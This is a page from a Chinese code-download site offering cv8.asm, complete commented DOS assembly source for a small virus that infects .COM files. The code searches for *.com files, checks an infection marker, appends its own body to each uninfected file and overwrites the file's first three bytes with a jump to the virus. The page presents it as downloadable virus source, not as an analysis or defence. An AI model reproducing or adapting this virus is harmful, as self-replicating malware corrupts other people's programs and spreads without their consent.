⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cv8.asm

📁 用汇编写的一个感染特定类型文件的病毒
💻 ASM
字号:
.model tiny
.code
.startup
 vlen=131
 start:  db   0e9h,0,0              ;眺转,执行病毒程序
         mov  cx,100h
         push cx
         pop  bp
         add  bp,bp[1]             ;bp 指向病毒程序之前
         lea  di,bp[vlen]          ;di 指向病毒程序之后
         xor  si,si
         rep  movsb
         push si                    ;复制程序段前缀100h字节至病毒之后
         lea  si,bp[si+vlen-103h]        ;复制病毒的末 3 字节到最后
         movsw
         movsb
         lea  dx,si[-9]             ;dx 指向串"*.com",感染对象
         mov  ah,4eh                ;查找"*.com",文件
 next:   int  21h                   
         cmp  al,12h
         je   pass
         mov  dx,9eh                ;找到的文件名所在
         mov  ax,3d02h              ;读写方式打开 
         int  21h                   
         mov  bx,ax                 ;文件句柄送 bx
         mov  ax,4200h              ;定位文件指针至文件头
         xor  dx,dx
         xor  cx,cx
         int  21h
         lea  dx,si[-3]             ;读 3 字节至病毒最后 3 字节
         
         mov  cl,3                   
         mov  ah,3fh
         int  21h
         cmp  byte ptr [si-3],0e9h  ;以 0e9h 为魔数判断是否已感染
         je   again                 ;已感染文件不再次感染
         mov  ax,4202h              ;定位到文件尾 
         xor  cx,cx
         xor  dx,dx
         int  21h
         mov  word ptr start[1],ax       ; 保存文件长度                        
         mov  cl,vlen               ; 病毒长度
         mov  dx,bp                 ; 病毒始址 
         mov  ah,40h                ; 复制到文件尾
         int  21h
         mov  ax,4200h              ; 定位到文件头
         xor  cx,cx                 ;
         xor  dx,dx
         int  21h
         pop  dx                    ; 写3字节到文件头(跳转到病毒)
         push dx
         mov  cl,3
         mov  ah,40h
         int  21h
 again:  mov  ah,3eh                ;关闭文件
         int  21h                   
         mov  ah,4fh                ;查找下一感染对象          
         jmp  short next
 pass:   inc  ch                    ;复原程序段前缀
         xor  di,di
         rep  movsb
         ret
         db '*.com',0,0cdh,20h,0        
         end


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -